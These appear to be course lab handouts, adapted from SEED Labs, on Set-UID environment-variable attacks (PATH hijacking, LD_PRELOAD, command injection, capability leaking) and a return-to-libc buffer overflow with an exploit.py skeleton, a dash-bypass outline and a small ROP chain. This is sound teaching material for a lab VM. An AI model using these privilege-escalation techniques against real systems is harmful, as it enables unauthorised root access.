cd Labsetup && ls

You should see myprintenv.c, myenv.c, catall.c, and cap_leak.c — the starter files referenced by Tasks 2, 3, 8, and 9. The remaining programs in this lab you write yourself.


Task 1: Manipulating Environment Variables

In this task we look at the commands that set and unset environment variables. We are using Bash in the seed account. The default shell a user gets is set in the last field of that user’s entry in /etc/passwd; you could change it with chsh, but do not do that in this lab.

Do the following:

  • Use printenv or env to print out the environment variables. To look at one variable, use printenv PWD or env | grep PWD.
  • Use export and unset to set and unset environment variables. Note that these two are not separate programs — they are Bash built-ins, and you will not find them as executables anywhere on the filesystem.
$ printenv | head
$ printenv PWD
$ export CS487_LAB=1
$ printenv CS487_LAB
$ unset CS487_LAB
$ printenv CS487_LAB          # what happens now?
$ which export                # and why does this fail?

Deliverable. Show the transcript above. Explain why which export finds nothing even though export clearly works, and what that tells you about where the environment actually lives.


Task 2: Passing Environment Variables from Parent Process to Child Process

In Unix, fork() creates a new process by duplicating the calling process. The new process (the child) is an exact duplicate of the parent — but several things are not inherited by the child (see man fork). In this task we determine whether the parent’s environment variables are among the things that are inherited.

Step 1

Compile and run the following program and describe your observation. It is in the Labsetup folder; compile it with gcc myprintenv.c, which produces a.out. Run it and save the output to a file with a.out > file.

// myprintenv.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

void printenv()
{
  int i = 0;
  while (environ[i] != NULL) {
    printf("%s\n", environ[i]);
    i++;
  }
}

void main()
{
  pid_t childPid;
  switch(childPid = fork()) {
    case 0:  /* child process */
      printenv();          /* (1) */
      exit(0);
    default: /* parent process */
      //printenv();        /* (2) */
      exit(0);
  }
}

Step 2

Now comment out the printenv() call in the child case (line ①) and uncomment the one in the parent case (line ②). Compile and run again, and save the output to a different file. Describe your observation.

Step 3

Compare the two files with diff, and draw your conclusion.

$ gcc myprintenv.c -o printenv_child && ./printenv_child > child.txt
# ... edit the file to swap which printenv() is active ...
$ gcc myprintenv.c -o printenv_parent && ./printenv_parent > parent.txt
$ diff child.txt parent.txt

Deliverable. The diff output (or a statement that it is empty) plus your conclusion about whether fork() propagates the environment. State where the child’s environment came from — the kernel, the C library, or the parent’s memory.

Understanding check. fork() gives the child a copy of the parent’s memory. Is the child’s environ the same memory as the parent’s, or a copy? What happens in the parent if the child calls setenv()?


Task 3: Environment Variables and execve()

execve() loads a new program and executes it; it never returns. No new process is created — instead the calling process’s text, data, bss, and stack are overwritten by the program being loaded. Essentially, execve() runs the new program inside the calling process. What happens to the environment variables?

Step 1

Compile and run the following program, which simply executes /usr/bin/env — a program that prints the environment variables of the current process.

// myenv.c
#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;
  execve("/usr/bin/env", argv, NULL);    /* (1) */

  return 0;
}

Step 2

Change the execve() invocation on line ① to the following, and describe your observation:

execve("/usr/bin/env", argv, environ);

Step 3

Draw your conclusion about how the new program gets its environment variables.

Deliverable. Both outputs, and a one-paragraph statement of the rule: who decides the environment of an execve()’d program?

Understanding check. In Task 2 the environment survived automatically; here you had to pass it explicitly. Reconcile these two observations. Then explain why execvp() and friends appear to preserve the environment anyway (hint: man 3 exec, and look for environ).


Task 4: Environment Variables and system()

system() is used to execute a command, but unlike execve(), which executes the command directly, system() actually executes /bin/sh -c command — it runs a shell and asks the shell to run the command.

If you look at the implementation of system(), you will see that it uses execl() to execute /bin/sh; execl() calls execve(), passing to it the environment variable array environ. Therefore, when you use system(), the calling process’s environment variables are passed to the new program /bin/sh. Compile and run the following program to verify this:

#include <stdio.h>
#include <stdlib.h>

int main()
{
  system("/usr/bin/env");
  return 0;
}

Deliverable. Show that a variable you export in your shell appears in the output. Then explain the chain of custody: your shell → your program → /bin/sh → env. At which step could an attacker influence what env sees?


Task 5: Environment Variable and Set-UID Programs

Set-UID is an important security mechanism in Unix. When a Set-UID program runs, it assumes the owner’s privileges. If the program’s owner is root, then anyone who runs this program gains root’s privileges for the duration of its execution. This allows a program to do many useful things, but because it escalates privilege, it is risky.

The behavior of a Set-UID program is decided by its program logic, not by the user — but users can nonetheless influence that behavior through environment variables. To understand how, we first determine whether environment variables are inherited by a Set-UID program’s process from the user’s process.

Step 1

Write a program that prints out all the environment variables in the current process:

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

int main()
{
  int i = 0;
  while (environ[i] != NULL) {
    printf("%s\n", environ[i]);
    i++;
  }
}

Step 2

Compile the program, change its ownership to root, and make it a Set-UID program.

# Assume the program's name is foo
$ gcc foo.c -o foo
$ sudo chown root foo
$ sudo chmod 4755 foo
$ ls -l foo          # confirm the 's' bit

Step 3

In your shell (you need to be in a normal user account, not root), use export to set the following environment variables — they may already exist:

  • PATH
  • LD_LIBRARY_PATH
  • ANY_NAME (a variable you invent; pick whatever name you want)
$ export PATH=/home/seed/cs487:$PATH
$ export LD_LIBRARY_PATH=/home/seed/cs487
$ export CS487_CANARY=hello
$ ./foo | grep -E 'PATH|LD_LIBRARY_PATH|CS487_CANARY'

These environment variables are set in the user’s shell process. Now run the Set-UID program from Step 2 in your shell. After you type the name of the program, the shell forks a child process and uses the child process to run the program. Check whether all the environment variables you set in the shell process (parent) get into the Set-UID child process. Describe your observation. If there are surprises, describe them.

Deliverable. For each of the three variables, state whether it survived into the privileged process. At least one of them will behave differently from the others — identify which, and explain the mechanism responsible (the dynamic linker, not the kernel or the shell).


Task 6: The PATH Environment Variable and Set-UID Programs

Because of the shell program invoked, calling system() inside a Set-UID program is quite dangerous. The behavior of the shell can be affected by environment variables such as PATH, which is provided by the user, who may be malicious. By changing these variables, a malicious user can control the behavior of a Set-UID program.

In Bash you can prepend a directory to PATH like this:

$ export PATH=/home/seed:$PATH

The Set-UID program below is supposed to execute the /bin/ls command; however, the programmer used only the relative path for ls, rather than the absolute path:

int main()
{
  system("ls");
  return 0;
}

Compile the above program, change its owner to root, and make it a Set-UID program. Can you get this Set-UID program to run your own malicious code instead of /bin/ls? If you can, is your malicious code running with root privilege? Describe and explain your observations.

The /bin/sh countermeasure

Note. system(cmd) executes the /bin/sh program first, and then asks that shell to run cmd. In Ubuntu 20.04 (and several versions before it), /bin/sh is a symbolic link pointing to /bin/dash. dash has a countermeasure that prevents itself from being executed in a Set-UID process: if dash detects it is running in a Set-UID process, it immediately changes the effective user ID to the process’s real user ID, essentially dropping the privilege.

Since our victim program is a Set-UID program, the countermeasure in /bin/dash will prevent our attack. To see how the attack works without such a countermeasure, link /bin/sh to another shell that does not have it. The SEED VM ships with zsh:

$ sudo ln -sf /bin/zsh /bin/sh

Run the attack again with zsh in place, and compare. When you are done with this task, put /bin/sh back:

$ sudo ln -sf /bin/dash /bin/sh

Deliverable. Show the attack under both shells. Report the output of id (or whoami) from inside your injected code in each case, and explain precisely what dash does differently. State whether the dash countermeasure fixes the vulnerability or merely blocks this exploit.

Understanding check. The dash countermeasure drops privilege. Name a Set-UID program for which that would be an unacceptable fix, and describe what the program should do instead.


Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

Several environment variables — LD_PRELOAD, LD_LIBRARY_PATH, and other LD_* variables — influence the behavior of the dynamic loader/linker, the part of the OS that loads shared libraries from disk and links them into an executable at run time.

In Linux, ld.so and ld-linux.so are the dynamic loader/linker. LD_LIBRARY_PATH is a colon-separated set of directories to search for libraries before the standard set of directories. LD_PRELOAD specifies a list of additional, user-specified shared libraries to be loaded before all others. In this task we study LD_PRELOAD.

Step 1

First, see how these variables influence the dynamic linker when running a normal program.

  1. Build a dynamic link library. Create the following program and name it mylib.c. It overrides the sleep() function in libc:

    #include <stdio.h>
    void sleep(int s)
    {
      /* If this is invoked by a privileged program,
         you can do damages here!  */
      printf("I am not sleeping!\n");
    }
    
  2. Compile it (in the -lc argument, the second character is a lowercase L):

    $ gcc -fPIC -g -c mylib.c
    $ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
    
  3. Set the LD_PRELOAD environment variable:

    $ export LD_PRELOAD=./libmylib.so.1.0.1
    
  4. Compile the following program myprog, in the same directory as the library:

    /* myprog.c */
    #include <unistd.h>
    int main()
    {
      sleep(1);
      return 0;
    }
    

Step 2

Run myprog under each of the following conditions, and observe what happens:

  1. Make myprog a regular program, and run it as a normal user.
  2. Make myprog a Set-UID root program, and run it as a normal user.
  3. Make myprog a Set-UID root program, export LD_PRELOAD again in the root account, and run it.
  4. Make myprog a Set-UID user1 program (i.e. the owner is user1, a different user account), export LD_PRELOAD again in a different user’s account (not root), and run it.

Creating the extra account for case 4:

$ sudo adduser user1
$ sudo chown user1 myprog && sudo chmod 4755 myprog

Step 3

You should observe different behaviors in the four scenarios above, even though you are running the same program. Figure out what causes the difference. Environment variables play a role here. Design an experiment to figure out the main causes, and explain why the behaviors in Step 2 are different.

Hint. The child process may not inherit the LD_* environment variables.

Deliverable. A four-row table: scenario, real UID, effective UID, whether the override took effect. Then state the dynamic linker’s rule in one sentence, and explain why case 3 differs from case 2 even though both run a Set-UID root binary.


Task 8: Invoking External Programs Using system() versus execve()

Although system() and execve() can both be used to run new programs, system() is quite dangerous if used in a privileged program such as a Set-UID program. We have already seen how PATH affects the behavior of system(), because the variable affects how the shell works. execve() does not have that problem, because it does not invoke a shell. Invoking a shell has another dangerous consequence, and this time it has nothing to do with environment variables.

The scenario

Bob works for an auditing agency and needs to investigate a company for a suspected fraud. For the investigation, Bob needs to be able to read all the files in the company’s Unix system; on the other hand, to protect the integrity of the system, Bob should not be able to modify any file.

To achieve this, Vince, the superuser, wrote a special set-root-uid program (below) and gave the executable permission to Bob. The program requires Bob to type a file name on the command line, and then it runs /bin/cat to display the specified file. Since the program runs as root, it can display any file Bob specifies. However, since the program has no write operations, Vince is very sure that Bob cannot use this special program to modify any file.

// catall.c
int main(int argc, char *argv[])
{
  char *v[3];
  char *command;

  if (argc < 2) {
    printf("Please type a file name.\n");
    return 1;
  }

  v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
  command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
  sprintf(command, "%s %s", v[0], v[1]);

  // Use only one of the followings.
  system(command);
  // execve(v[0], v, NULL);

  return 0;
}

Step 1

Compile the above program, make it a root-owned Set-UID program. The program will use system() to invoke the command. If you were Bob, can you compromise the integrity of the system? For example, can you remove a file that is not writable to you?

$ gcc catall.c -o catall
$ sudo chown root catall && sudo chmod 4755 catall
$ touch /tmp/victim && sudo chown root /tmp/victim && sudo chmod 644 /tmp/victim
$ ./catall /tmp/victim          # the intended use
$ ./catall "???"                # your attack goes here

Step 2

Comment out the system(command) statement and uncomment the execve() statement; the program will now use execve() to invoke the command. Compile the program and make it a root-owned Set-UID program. Do your attacks in Step 1 still work? Describe and explain your observations.

Deliverable. The exact argument you passed to defeat the system() version, proof that the unwritable file was modified or removed, and the result of the same argument against the execve() version. Explain the difference in terms of who parses the string.

Understanding check. The bug here is not system() itself; it is that a string intended as data (a filename) is handed to something that treats it as code (a shell command line). Name two other places in systems programming where the same confusion occurs.


Task 9: Capability Leaking

To follow the Principle of Least Privilege, Set-UID programs often permanently relinquish their root privileges when those privileges are no longer needed. Sometimes the program also needs to hand its control over to the user; in that case root privileges must be revoked. The setuid() system call can be used to revoke privileges. According to the manual: “setuid() sets the effective user ID of the calling process. If the effective UID of the caller is root, the real UID and saved set-user-ID are also set.” Therefore, if a Set-UID program with effective UID 0 calls setuid(n), the process becomes a normal process, with all its UIDs set to n.

When revoking privilege, one of the common mistakes is capability leaking. The process may have gained some privileged capabilities while it was still privileged; when the privilege is downgraded, if the program does not clean up those capabilities, they may still be accessible by the now-unprivileged process. In other words, although the effective user ID of the process is no longer privileged, the process is still privileged because it possesses privileged capabilities.

Compile the following program, change its owner to root, and make it a Set-UID program. Run the program as a normal user. Can you exploit the capability leaking vulnerability in this program? The goal is to write to the /etc/zzz file as a normal user.

// cap_leak.c
void main()
{
  int fd;
  char *v[2];

  /* Assume that /etc/zzz is an important system file,
   * and it is owned by root with permission 0644.
   * Before running this program, you should create
   * the file /etc/zzz first. */
  fd = open("/etc/zzz", O_RDWR | O_APPEND);
  if (fd == -1) {
    printf("Cannot open /etc/zzz\n");
    exit(0);
  }

  // Print out the file descriptor value
  printf("fd is %d\n", fd);

  // Permanently disable the privilege by making the
  // effective uid the same as the real uid
  setuid(getuid());

  // Execute /bin/sh
  v[0] = "/bin/sh"; v[1] = 0;
  execve(v[0], v, 0);
}

Set up the target file first:

$ sudo touch /etc/zzz
$ sudo chmod 644 /etc/zzz
$ ls -l /etc/zzz

Deliverable. The commands you ran inside the spawned shell, the resulting contents of /etc/zzz, and ls -l /etc/zzz showing that you — an unprivileged user — did not own it and could not have written to it directly. Explain why the leaked descriptor still works after setuid(getuid()).

Understanding check. Two fixes are possible: close the descriptor before revoking privilege, or set the close-on-exec flag. Which one defends against more cases, and why? (See man fcntl, FD_CLOEXEC.)


Cleaning up

Undo the global changes this lab made to your VM:

$ sudo ln -sf /bin/dash /bin/sh     # if you relinked it in Task 6
$ sudo rm -f /etc/zzz               # if you created it in Task 9
$ unset LD_PRELOAD LD_LIBRARY_PATH  # Tasks 5 and 7
$ ls -l /bin/sh                     # confirm it points at dash again

Leaving a root-owned Set-UID binary lying around in your home directory is itself a vulnerability. Delete the ones you created, or restore your pre-lab snapshot.

Submission

Submit a single PDF containing, for each of the nine tasks: the commands you ran, a screenshot or transcript of what you observed, and an explanation of why that happened. List the important code snippets followed by explanation — simply attaching code without any explanation will not receive credit.

See Submitting a Lab Report for the expected structure.

Lab 2: Return-to-libc Attack

Adapted from the SEED Labs Return-to-libc Attack Lab (Ubuntu 20.04 edition) by Wenliang Du. See Attribution and License.

EnvironmentSEED Ubuntu 20.04 VM (setup) or your own Ubuntu VM — this lab is x86 (32-bit) and needs the multilib toolchain
Fileslab2.tar.gz — the SEED Labsetup sources (retlib.c, exploit.py, Makefile), repackaged for this course
SubmissionOne PDF, structured as described in Submitting a Lab Report

Overview

The classic way to exploit a buffer overflow is to inject a shellcode into the program’s stack and then overwrite a return address so that control jumps into that shellcode. To stop this, modern systems mark the stack non-executable: the CPU refuses to run instructions that live on the stack, so the injected shellcode never executes.

This defense is not fool-proof. In a return-to-libc attack you never execute your own code at all — instead you redirect the vulnerable program into code that is already in its address space and already executable: the C library (libc), which every program links against. If you can make the return address point at system() and arrange for its argument to be the string "/bin/sh", the program politely spawns a shell for you, entirely with legitimate, executable library code. The non-executable stack never enters the picture.

In this lab you are given a root-owned Set-UID program with a buffer-overflow vulnerability. Your task is to build a return-to-libc attack that bypasses the non-executable stack and gives you a root shell. You will then defeat the /bin/dash privilege-dropping countermeasure, and finally get a taste of Return-Oriented Programming (ROP) by chaining several returns together.

Topics covered:

  • Buffer-overflow vulnerabilities
  • Stack layout during a function call, and the non-executable stack
  • The return-to-libc technique
  • Chaining calls; an introduction to Return-Oriented Programming (ROP)

Background reading

  • Chapter 5 of Computer & Internet Security: A Hands-on Approach, 2nd edition, by Wenliang Du
  • man 3 system, man 3 exec, man 3 getenv, man 1 gdb
  • The Appendix: understanding the function-call mechanism at the end of this lab — read it before Task 3 if you are shaky on stack frames.

A note on architecture (read this first)

Return-to-libc on a 64-bit (x64) program is considerably harder than on a 32-bit (x86) program, so — like the SEED lab — we stay in 32-bit for the whole lab. Every gcc command uses the -m32 flag, which produces a 32-bit binary. This has two consequences:

  • You need the 32-bit toolchain and libraries by executing sudo apt install gcc gcc-multilib. The SEED Ubuntu 20.04 VM already has them.
  • The attack depends on running actual x86 code. On an Apple Silicon Mac an ARM VM cannot execute the 32-bit x86 binaries this lab produces, contact the instructor on Piazza with your SSH public key and NetID for a department VM. Do not attempt this lab on an ARM VM.

Before you begin

Snapshot your VM. This lab relinks /bin/sh, disables kernel address randomization, and creates a root-owned Set-UID binary. A snapshot makes cleanup a two-minute rollback.

Download the lab source files and unpack them inside the VM:

mkdir -p ~/cs487/lab2 && cd ~/cs487/lab2
wget https://xjtuwxg.github.io/computer-security-labs/labs/files/lab2.tar.gz
tar xzf lab2.tar.gz
cd Labsetup && ls

You should see retlib.c (the vulnerable program), exploit.py (a skeleton you fill in for Task 3), and Makefile (which compiles and installs the Set-UID binary with the right flags).


Setting up the environment

Ubuntu ships several defenses that make buffer-overflow attacks hard. To study the attack we first switch them off, one at a time. Understand what each one does — several of the deliverables ask you to reason about them.

1. Address Space Layout Randomization (ASLR)

ASLR randomizes the starting address of the stack, the heap, and shared libraries on every run, so you cannot guess where system() or your shell string lives. Turn it off for the whole VM:

$ sudo sysctl -w kernel.randomize_va_space=0

With this set to 0, the same binary loads libc at the same address every run, which is what makes Task 1’s gdb lookup meaningful.

2. StackGuard

gcc can insert a stack canary — a guard value placed between the local buffer and the saved return address. If a strcpy() overflow clobbers the return address, it clobbers the canary too, and the program aborts before returning. Disable it at compile time with -fno-stack-protector (already in the Makefile).

3. Non-executable stack

This is the very defense the attack is designed to bypass, so we keep it on. A program’s header declares whether it needs an executable stack; compiling with -z noexecstack marks the stack non-executable. The Makefile uses this flag on purpose — your exploit must work despite it.

4. The /bin/dash countermeasure

system() does not run your command directly; it runs /bin/sh -c <command>. In Ubuntu 20.04, /bin/sh is a symlink to /bin/dash, and dash drops privilege when it detects it is running in a Set-UID process — which would defeat our attack before it even starts. For Tasks 1–3 we sidestep this by pointing /bin/sh at zsh, which has no such countermeasure:

$ sudo ln -sf /bin/zsh /bin/sh

We will put /bin/sh back to dash and defeat the countermeasure properly in Task 4.

The vulnerable program

Here is retlib.c. It reads up to 1000 bytes from a file called badfile and hands them to bof(), which copies them into a much smaller buffer with strcpy() — the overflow. The program prints the addresses of buffer[] and the frame pointer to make your life easier. It is a root-owned Set-UID program, so a successful overflow yields a root shell.

// retlib.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof():  0x%.8x\n", (unsigned)buffer);
    printf("Frame Pointer value inside bof():  0x%.8x\n", (unsigned)framep);

    strcpy(buffer, str);   //  <-- buffer overflow!

    return 1;
}

// This function is used only in the optional Task 5.
void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}

int main(int argc, char **argv)
{
   char input[1000];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   int length = fread(input, sizeof(char), 1000, badfile);
   printf("Address of input[] inside main():  0x%x\n", (unsigned int) input);
   printf("Input size: %d\n", length);

   bof(input);

   printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
   return 1;
}

Compile and install

Build the Set-UID binary with the provided Makefile. It compiles for 32-bit with the countermeasures configured as above, then changes the owner to root and sets the Set-UID bit. Ownership must be changed before the Set-UID bit is set — changing ownership clears the bit — and the Makefile already orders these correctly:

$ make

The Makefile runs, in effect:

$ gcc -m32 -DBUF_SIZE=N -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib
$ sudo chmod 4755 retlib
$ ls -l retlib          # confirm the 's' bit and root ownership

N is the buffer size, defined by the N = line in the Makefile. Your instructor may give you a specific value of N to use (it can be anything from 10 to 800); changing it changes the stack layout, so use the value you are told and set it in the Makefile before building. Without -DBUF_SIZE, the default from the source is 12.

Why the instructor picks N. A different buffer size shifts every offset in your exploit, so a solution built for one N will not work for another. This is deliberate: it makes last year’s badfile — and the ones posted online — useless, and forces you to derive the offsets yourself.


Task 1: Finding the Addresses of libc Functions

Because ASLR is off, libc loads at the same address every time you run retlib, so you can read the addresses of system() and exit() straight out of the program under gdb. You need exit() as well as system() — Task 3 explains why.

Two things matter here:

  • Debug the Set-UID binary itself, not a private copy you recompiled. A Set-UID and a non-Set-UID build of the same program may load libc at different addresses, so an address taken from the wrong binary will be wrong.
  • You must run the program at least once inside gdb before printing the addresses. libc is loaded lazily by the dynamic linker; until the program actually starts, the symbols are not yet resolved to real addresses.
$ touch badfile          # retlib opens badfile on startup; create an empty one
$ gdb -q retlib
pwndbg> break main
Breakpoint 1 at 0x...
pwndbg> run
...
Breakpoint 1, 0x... in main ()
pwndbg> p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
pwndbg> p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
pwndbg> quit

(The addresses above are examples; yours will differ.) If you prefer, script it in batch mode:

$ cat > gdb_command.txt <<'EOF'
break main
run
p system
p exit
quit
EOF
$ gdb -q -batch -x gdb_command.txt ./retlib

Deliverable. Report the addresses of system() and exit() you obtained. Explain why you must run the program once inside gdb before the addresses are valid, and why debugging the Set-UID binary (rather than a recompiled copy) matters.

Understanding check. With ASLR off you get the same system() address on every run. What specifically would change if you re-enabled it with sudo sysctl -w kernel.randomize_va_space=2, and why does that break the attack you are about to build?


Task 2: Putting the Shell String in Memory

To call system("/bin/sh") you need the string "/bin/sh" sitting somewhere in the process’s memory, and you need to know its address so you can pass it as the argument. There are several ways to arrange this; we use an environment variable, because the shell copies exported variables into the memory of every program it launches.

Define a variable holding the string and confirm it reaches the child process:

$ export MYSHELL=/bin/sh
$ env | grep MYSHELL
MYSHELL=/bin/sh

Now find where in memory that string lands. Compile this helper and run it in the same terminal:

// prtenv.c
#include <stdio.h>
#include <stdlib.h>

void main(){
   char* shell = getenv("MYSHELL");
   if (shell)
      printf("%x\n", (unsigned int)shell);
}
$ gcc -m32 -o prtenv prtenv.c
$ ./prtenv
ffffd...

With ASLR off, prtenv prints the same address every time. Because retlib sees the same environment, MYSHELL sits at (very nearly) the same place when retlib runs — but the address depends on the length of the program’s name. The environment block sits at the very top of the stack, just above argv, which includes the program’s path; a longer or shorter name pushes everything below it up or down. That is why the helper is named prtenv — 6 characters, exactly matching retlib — so the address it reports matches the one retlib will see.

Note. Compile prtenv with -m32. retlib is a 32-bit binary; if prtenv is 64-bit the stack is laid out differently and the address will not match.

Deliverable. The address of MYSHELL reported by prtenv, and evidence that it is stable across runs. Explain, in terms of where the environment block lives on the stack, why the length of the program name shifts this address — and why prtenv therefore had to have exactly the same name length as retlib.

Understanding check. The /bin/sh you point system() at is inside the MYSHELL=/bin/sh string, not at the start of it. If you passed the address of the M instead of the /, what would system() try to run, and what would happen?


Task 3: Launching the Attack

You now have the three ingredients: the address of system(), the address of exit() (Task 1), and the address of the "/bin/sh" string (Task 2). The remaining job is to lay them out in badfile so that when bof() returns, the CPU “returns” into system() with "/bin/sh" as its argument.

How the stack must look

When bof() executes its ret, the CPU pops whatever is at the top of the stack and jumps there — that slot is the saved return address. A return-to-libc payload replaces that slot with the address of system(), and then lays out, just above it, exactly what system() expects to find after a normal call:

      higher addresses
   +------------------------+
   |  address of "/bin/sh"  |  <- argument to system()
   +------------------------+
   |  address of exit()     |  <- "return address" system() sees
   +------------------------+
   |  address of system()   |  <- overwrites bof()'s saved return address
   +------------------------+   <- where %esp points when bof() does `ret`
   |  saved %ebp (clobbered)|
   +------------------------+
   |      buffer[...]        |  <- strcpy() copies your badfile to here
      lower addresses

When bof returns, execution jumps to system(). system() sees the slot above it as its return address (that is the calling convention), and the slot above that as its first argument. So you place exit() where system() will return, and the address of "/bin/sh" where system() reads its argument. When the shell you spawn exits, system() returns — into exit() — and the program terminates cleanly instead of crashing.

Fill in the exploit

exploit.py (provided) writes the three addresses into badfile at offsets X, Y, and Z. Your job is to supply the three addresses and the three offsets:

#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 0
sh_addr = 0x00000000       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 0
system_addr = 0x00000000   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 0
exit_addr = 0x00000000     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)

The offset Y is the distance, in bytes, from the start of buffer[] to the saved return-address slot. Read it off from the two addresses retlib prints: the frame pointer points at the saved %ebp, and the return address is 4 bytes above that. Once you know Y, the picture above fixes the other two: Z = Y + 4 and X = Y + 8.

$ ./exploit.py         # build badfile
$ ./retlib             # trigger the overflow
...
# id                   # <-- root shell!
uid=0(root) ...

A note on gdb and %ebp. If you use gdb to pin down Y, be aware that in Ubuntu 20.04, when you break at bof, gdb stops before the prologue sets %ebp to bof’s frame — so printing $ebp there gives you the caller’s %ebp. Step forward with next a few instructions until the prologue has run, then read $ebp. (The SEED book’s 16.04 walkthrough omits this step.)

Deliverable. Your values of X, Y, and Z with the reasoning for each (show how you derived Y from the printed frame pointer, or, if you brute-forced it, show the trials). Include the working exploit.py and a screenshot of the resulting root shell with the output of id showing uid=0(root).

Attack variation 1: Is exit() really necessary?

Set exit_addr to a junk value (or omit it) and run the attack again. Report what happens when you exit the spawned shell, and explain why. Does the missing exit() stop you from getting the shell, or only affect what happens afterward?

Attack variation 2: Does the program’s name matter?

Rename retlib to something of a different length — for example newretlib — and rerun the attack *without changing badfile:

$ cp retlib newretlib      # keep the Set-UID copy; or re-make under the new name
$ ./newretlib

Report whether it still works. If it fails, explain why in terms of what you learned in Task 2.

Deliverable. For each variation: the change you made, what you observed, and the explanation. Variation 1 should discuss what system() returns into; variation 2 should connect back to the address of the environment string.

Understanding check. In this attack you never placed a single executable instruction on the stack, yet the stack is where your badfile was copied. Explain why the non-executable stack defense does nothing to stop you here.


Task 4 (Optional, 1 bonus point): Defeating the Shell’s Countermeasure

For Tasks 1-3 you pointed /bin/sh at zsh to sidestep the dash privilege drop. Now put it back to the real default and defeat the countermeasure properly:

$ sudo ln -sf /bin/dash /bin/sh

If you re-run your Task 3 attack now, system() invokes /bin/sh → dash, dash notices it is running Set-UID and resets its effective UID to your real UID — so you get a shell, but not a root shell. Confirm this first; it is the behavior you are about to defeat.

The idea

dash (and bash) drop privilege unless they are started with the -p flag. system() never passes -p, so going through system() always drops privilege. The way around it is to skip system() entirely and call a libc function that runs /bin/bash -p directly. The exec family does exactly that — consider execv:

int execv(const char *pathname, char *const argv[]);

To run /bin/bash -p you must set up, in memory:

pathname  = address of the string "/bin/bash"
argv[0]   = address of "/bin/bash"
argv[1]   = address of "-p"
argv[2]   = NULL      (four bytes of zero)

and then return into execv with pathname as its first argument and the address of your argv[] array as its second.

You can get the addresses of the "/bin/bash" and "-p" strings the same way you got "/bin/sh" in Task 2 (export them as environment variables and locate them). The argv[] array — three pointers plus a terminating NULL — you build yourself inside your input.

The zero-bytes catch. argv[2] must be four zero bytes, but strcpy() stops at the first zero: anything you place after a 0x00000000 in badfile is not copied into bof’s buffer. The trick is that your entire input is also sitting in main()’s input[] buffer, copied there by fread() (which does not stop at zeros). main() prints the address of input[] for you, so build your argv[] array out in that buffer, where the terminating NULL is harmless, and point execv’s second argument at it.

Deliverable. First, evidence that the Task 3 attack yields a non-root shell once /bin/sh points back at dash (show id). Then your execv-based attack: how you laid out pathname, the argv[] array, and the three strings in memory; how you worked around the zero-byte problem; and a screenshot of the resulting root shell (id showing uid=0(root)). Explain in one paragraph why execv("/bin/bash", …) with -p keeps the privilege that system() loses.

Understanding check. The dash countermeasure drops privilege whenever it is launched Set-UID. You just showed it can be bypassed. Was the countermeasure useless, then — or did it raise the bar in some concrete way? State precisely what extra work it forced on the attacker.


Task 5: Return-Oriented Programming

Task 4 chained two ideas: run something other than system(). Generalize that to chaining many returns, and you have Return-Oriented Programming (ROP) — stitching together existing code fragments so that each one “returns” into the next.

You will do a small, self-contained case of this. retlib.c contains a function foo() that the program never calls. Craft your input so that when bof() returns, the program invokes foo() 10 times in a row, and only then hands you a root shell:

$ ./retlib
...
Function foo() is invoked 1 times
Function foo() is invoked 2 times
...
Function foo() is invoked 10 times
bash-5.0#            <-- root shell

How to think about it

In Task 3 you set up the stack so that bof returned into system(), and system() returned into exit(). Do the same thing, but with foo as the link in the chain: arrange the stack so bof returns into foo, foo returns into another foo, and so on ten times; the tenth foo returns into your Task-4 execv payload to give you the root shell.

Because foo() takes no arguments, each link in the chain is just a return address stacked on the previous one — you do not have to leave room for arguments between them. That is exactly what makes this case tractable by hand.

Deliverable. Your input construction (annotated: which four-byte slot holds what), and a screenshot showing foo() invoked ten times followed by a root shell. Explain how each foo “returns” into the next.

Understanding check. This was easy only because foo() takes no arguments. If foo() took one int argument, chaining ten calls would be markedly harder. Explain what goes wrong: after a no-argument foo returns, where does %esp point, and why does an argument sitting on the stack break the next link of the chain? (This is the problem that general ROP, with its “gadgets” ending in ret, exists to solve.)


Appendix: Understanding the Function-Call Mechanism

If the offsets in Task 3 feel like guesswork, work through this first. Compile a trivial program to assembly and watch what a call actually does to the stack.

/* foobar.c */
#include <stdio.h>

void foo(int x)
{
  printf("Hello world: %d\n", x);
}

int main()
{
  foo(1);
  return 0;
}
$ gcc -m32 -S foobar.c && cat foobar.s

The interesting part is what surrounds the call foo in main and the prologue of foo. Reading it top to bottom, a call proceeds like this:

  1. The caller pushes the arguments. main pushes 1 (the argument to foo) onto the stack.
  2. call foo pushes the address of the instruction after the call — the return address — and jumps into foo.
  3. foo’s prologue runs push %ebp (save the caller’s frame pointer) then mov %esp, %ebp (make %ebp point at foo’s new frame). From now on foo addresses its locals and arguments relative to %ebp.
  4. sub $N, %esp reserves space for foo’s locals.

Returning unwinds this in reverse:

  1. leave is shorthand for mov %ebp, %esp (discard the locals) followed by pop %ebp (restore the caller’s frame pointer). After this, %esp points at the saved return address.
  2. ret pops that return address and jumps to it.

Two facts from this are the whole basis of the attack:

  • The saved return address sits immediately above the saved %ebp, at %ebp + 4. Overwrite that slot and you control where the function returns.
  • ret blindly trusts whatever is in that slot. It does not care whether the target is the real caller, system(), or foo() — which is precisely what lets you redirect execution into libc.

